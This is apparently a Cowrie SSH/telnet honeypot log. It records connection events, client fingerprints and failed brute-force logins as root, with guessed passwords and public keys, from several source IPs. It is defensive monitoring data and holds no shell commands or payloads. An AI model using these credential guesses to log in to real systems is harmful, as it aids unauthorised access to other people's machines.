{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:12.797104Z","src_ip":"162.241.239.241","session":"003529d8b69b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M10t@$M@st3r@W0rd","message":"login attempt [root/M10t@$M@st3r@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:12.882795Z","src_ip":"162.241.239.241","session":"003529d8b69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:13.914040Z","src_ip":"162.241.239.241","session":"003529d8b69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00135922431946,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:18.106507Z","src_ip":"107.6.151.170","session":"4305196a72ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":58002,"dst_ip":"159.203.135.109","dst_port":22,"session":"18dfc82f76ad","protocol":"ssh","message":"New connection: 192.169.202.129:58002 (159.203.135.109:22) [session: 18dfc82f76ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:41.176738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:41.181269Z","src_ip":"192.169.202.129","session":"18dfc82f76ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:41.249443Z","src_ip":"192.169.202.129","session":"18dfc82f76ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tbilisi_georgia","password":"tbilisi123","message":"login attempt [tbilisi_georgia/tbilisi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:41.445025Z","src_ip":"192.169.202.129","session":"18dfc82f76ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:42.511889Z","src_ip":"192.169.202.129","session":"18dfc82f76ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.40095543861389,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:22:46.284045Z","src_ip":"170.64.224.25","session":"c6f5e5e807a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":39510,"dst_ip":"10.17.0.5","dst_port":22,"session":"afca9880e360","protocol":"ssh","message":"New connection: 199.127.62.250:39510 (10.17.0.5:22) [session: afca9880e360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:21.810310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:21.814391Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:21.871150Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:9c:e9:49:13:47:06:25:d1:eb:37:94:e7:88:b0:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3sDTAn6GIDFed6Abmn2nQqOy//j3CtX3y0CfKHOwXD78gbIeTenYTzdVBS6YgEZRiUploxiD+WoYjWRXgKvstsEDnMA97gsKC89h1F9v4FPfCJV+Nc35A+OXSchoLbpl7htGNs6b40MMhOYlHbDNsbCUO8dXtvNhkKCpfcwigSUWzG7fxiz/beo5fc+XGXOkwypM7VoIcW3+++FzMUQL7n9f/5x604oGbUKQYzcLo7enTsCtXm9uVc0pH0DcIHzUuMY597UwQcCv0MvH93NRNOH8Hmu8m0AvT96HYy5oj65fWT47ZSnQ8fmDkvmSKSV91Mw7DZCRW+1YFPG6ZTTDt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:9c:e9:49:13:47:06:25:d1:eb:37:94:e7:88:b0:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.133401Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:9c:e9:49:13:47:06:25:d1:eb:37:94:e7:88:b0:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3sDTAn6GIDFed6Abmn2nQqOy//j3CtX3y0CfKHOwXD78gbIeTenYTzdVBS6YgEZRiUploxiD+WoYjWRXgKvstsEDnMA97gsKC89h1F9v4FPfCJV+Nc35A+OXSchoLbpl7htGNs6b40MMhOYlHbDNsbCUO8dXtvNhkKCpfcwigSUWzG7fxiz/beo5fc+XGXOkwypM7VoIcW3+++FzMUQL7n9f/5x604oGbUKQYzcLo7enTsCtXm9uVc0pH0DcIHzUuMY597UwQcCv0MvH93NRNOH8Hmu8m0AvT96HYy5oj65fWT47ZSnQ8fmDkvmSKSV91Mw7DZCRW+1YFPG6ZTTDt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.135970Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:63:38:6a:84:2e:0c:82:93:24:ff:2d:7a:5a:c2:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrUJEoIsA0C1Ee9IB0wuUgan9QmIHS55Vjs98jn0QyYgSYS99PeCMfsmfEtcbV8ETg0ZnQleoAcmxCuxBpSTdA5F0JoGCtfQ4lOyVQfJsdPgv0s4rt33+etggz/uqgiMAOYnf64uVcbimg4u0mcayNWSrUpJ+jEcvROGSpTmqfjaWzh4A65UiOtdiKTrNiibwsOmFU3e4853cdbIPv+3IZCRBp21fZZ11U9Yj+ElD0Q8W02nYxM362FH4OPFTxHKonhKIUbsAwFQzqDDbtkNovRDSF6Ji3qaP6erpQIKuvfMU7WaHtAnpa4C80zdhVg9IeVBqJ6RD0vS/xW5bX/Nq5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:63:38:6a:84:2e:0c:82:93:24:ff:2d:7a:5a:c2:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.191524Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:63:38:6a:84:2e:0c:82:93:24:ff:2d:7a:5a:c2:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrUJEoIsA0C1Ee9IB0wuUgan9QmIHS55Vjs98jn0QyYgSYS99PeCMfsmfEtcbV8ETg0ZnQleoAcmxCuxBpSTdA5F0JoGCtfQ4lOyVQfJsdPgv0s4rt33+etggz/uqgiMAOYnf64uVcbimg4u0mcayNWSrUpJ+jEcvROGSpTmqfjaWzh4A65UiOtdiKTrNiibwsOmFU3e4853cdbIPv+3IZCRBp21fZZ11U9Yj+ElD0Q8W02nYxM362FH4OPFTxHKonhKIUbsAwFQzqDDbtkNovRDSF6Ji3qaP6erpQIKuvfMU7WaHtAnpa4C80zdhVg9IeVBqJ6RD0vS/xW5bX/Nq5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.198339Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:46:c1:b0:e3:18:ae:bb:8d:ef:e1:d0:50:2d:bd:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJ204JDT68zYp4jOTWiOJ46bW+qWKXYLH8n+uCAg/Q8djl7S4WpL88jzDXXkfDtnzq3hVY3o0e7cSl2wbfpIbW14Sx7qrOjKL+ezbULooiuaY4D44JPQ6QNPIN3XP430b80t4NGtoeEk8ro3eRFXVbW/bZDwhSrJfEt0GAzq0OMVBMrsTvQpg/+RGj1hEQNsF6g1l9AwlLlBBviZzirCoTdt2R+3IQYdnebsVQZI7adWjjZbrXBQFEoubYJw+2YmwJka3cvK58Dv+rIN9a7Iv80gWKNQghwyEcJGKgFDiwpwhEPoiws2raCEoLGROG7e87nAaeHlls8B0uN9VAqQkw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:46:c1:b0:e3:18:ae:bb:8d:ef:e1:d0:50:2d:bd:25","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.254199Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:46:c1:b0:e3:18:ae:bb:8d:ef:e1:d0:50:2d:bd:25","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzJ204JDT68zYp4jOTWiOJ46bW+qWKXYLH8n+uCAg/Q8djl7S4WpL88jzDXXkfDtnzq3hVY3o0e7cSl2wbfpIbW14Sx7qrOjKL+ezbULooiuaY4D44JPQ6QNPIN3XP430b80t4NGtoeEk8ro3eRFXVbW/bZDwhSrJfEt0GAzq0OMVBMrsTvQpg/+RGj1hEQNsF6g1l9AwlLlBBviZzirCoTdt2R+3IQYdnebsVQZI7adWjjZbrXBQFEoubYJw+2YmwJka3cvK58Dv+rIN9a7Iv80gWKNQghwyEcJGKgFDiwpwhEPoiws2raCEoLGROG7e87nAaeHlls8B0uN9VAqQkw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.256945Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:b6:86:6a:26:7a:ba:fa:40:2d:2c:b8:ce:92:96:a4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMUQ4wdq0g3guBgmo0iJFTohJz5TkGnT637xRq3kI+YGgaQGwOAjHv2hbeewLbthEibZa256fMp5ahnASGoT39zXFW36+Gmyh9cqqPJwehz3Dq8nRbGqQjgxLpQvbmF1i827/gTg7xqLfZgF7tlvqkQ4dRi60OgeMtOzIwSZK/lbAAAAFQDofOYMdk3TlQNO9qhAXvJ6wCsR8QAAAIBf2VffA+Qk0+9f/TbgNcLzQy6jJZ0OKl3wq1MVgIWII1DzWf5GS7/ggD1/IW7pm6SVDjFPaflVI/e+LlhYW10HhUIGKfRMPG0GCgew3D44YSzYHGGoQa2z3sn4qjIlmiL2sMTZq2smxbiEcguFA10+NUmASUeDzgGYly1xUUklbwAAAIBV+/IFGz7/O/332kFw6+/caCJjGZhfjRw5q0v1pn6h0Mm5XtQ+HybnlccOXSgp1fyLsYPOAnFwdYX4WE+ZAdLlBnaFD6m2fD2R7oY3ZuA2948xk/8luzKBsoK8uudKZQDWxuCkTY4LFjf2m/cZI11xOjDvRZ9u88SH3qHFE0WC3w==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint d6:b6:86:6a:26:7a:ba:fa:40:2d:2c:b8:ce:92:96:a4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.312752Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:b6:86:6a:26:7a:ba:fa:40:2d:2c:b8:ce:92:96:a4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMUQ4wdq0g3guBgmo0iJFTohJz5TkGnT637xRq3kI+YGgaQGwOAjHv2hbeewLbthEibZa256fMp5ahnASGoT39zXFW36+Gmyh9cqqPJwehz3Dq8nRbGqQjgxLpQvbmF1i827/gTg7xqLfZgF7tlvqkQ4dRi60OgeMtOzIwSZK/lbAAAAFQDofOYMdk3TlQNO9qhAXvJ6wCsR8QAAAIBf2VffA+Qk0+9f/TbgNcLzQy6jJZ0OKl3wq1MVgIWII1DzWf5GS7/ggD1/IW7pm6SVDjFPaflVI/e+LlhYW10HhUIGKfRMPG0GCgew3D44YSzYHGGoQa2z3sn4qjIlmiL2sMTZq2smxbiEcguFA10+NUmASUeDzgGYly1xUUklbwAAAIBV+/IFGz7/O/332kFw6+/caCJjGZhfjRw5q0v1pn6h0Mm5XtQ+HybnlccOXSgp1fyLsYPOAnFwdYX4WE+ZAdLlBnaFD6m2fD2R7oY3ZuA2948xk/8luzKBsoK8uudKZQDWxuCkTY4LFjf2m/cZI11xOjDvRZ9u88SH3qHFE0WC3w==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.315720Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:97:cf:ea:5b:e4:2d:2f:64:ab:f5:87:c7:68:a7:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq0m7+zfR22pOIvQtwZz65Fmu+tnCa632Ykka9ymYOu179Wtuxz7qzcuvtR9u0juelfuXFWkx/HxQb+qMx8qerdDhpBSk3FSmetdtdkV2IMvAyJkSMuvi0WImGTgzvLwjfTvewhHzaNS8tHPsJWF9Czu2XUkHYVeuq50QrhVHscTlcG9FSyrJKF9Ewkdfp3rhla2j+bMQ5zsQov0TTbvUK96/W9hAS6XzpzbNypVemnHBfiTXE+jPOht6hFfFqxFkifR6WURaNFBBt4fOGpgC1HMSJD9SWEZhzO0Ju10GIJPX8vUyX0By83yQvdG1Sz7H0g/WWibFjnmwVMV0imVSv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:97:cf:ea:5b:e4:2d:2f:64:ab:f5:87:c7:68:a7:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.371799Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:97:cf:ea:5b:e4:2d:2f:64:ab:f5:87:c7:68:a7:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCq0m7+zfR22pOIvQtwZz65Fmu+tnCa632Ykka9ymYOu179Wtuxz7qzcuvtR9u0juelfuXFWkx/HxQb+qMx8qerdDhpBSk3FSmetdtdkV2IMvAyJkSMuvi0WImGTgzvLwjfTvewhHzaNS8tHPsJWF9Czu2XUkHYVeuq50QrhVHscTlcG9FSyrJKF9Ewkdfp3rhla2j+bMQ5zsQov0TTbvUK96/W9hAS6XzpzbNypVemnHBfiTXE+jPOht6hFfFqxFkifR6WURaNFBBt4fOGpgC1HMSJD9SWEZhzO0Ju10GIJPX8vUyX0By83yQvdG1Sz7H0g/WWibFjnmwVMV0imVSv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.374674Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:22.432127Z","src_ip":"199.127.62.250","session":"afca9880e360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":37004,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8f3a1a2db1a","protocol":"ssh","message":"New connection: 162.240.20.137:37004 (10.17.0.5:22) [session: c8f3a1a2db1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:32.393638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:32.396295Z","src_ip":"162.240.20.137","session":"c8f3a1a2db1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:32.476990Z","src_ip":"162.240.20.137","session":"c8f3a1a2db1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein#@!$%^&*(","message":"login attempt [root/letmein#@!$%^&*(] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:32.722662Z","src_ip":"162.240.20.137","session":"c8f3a1a2db1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:34.091684Z","src_ip":"162.240.20.137","session":"c8f3a1a2db1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":42309,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a5d190197b","protocol":"ssh","message":"New connection: 14.55.144.22:42309 (10.17.0.5:22) [session: c9a5d190197b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:35.659492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:35.662961Z","src_ip":"14.55.144.22","session":"c9a5d190197b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:23:35.868745Z","src_ip":"14.55.144.22","session":"c9a5d190197b","protocol":"ssh"}
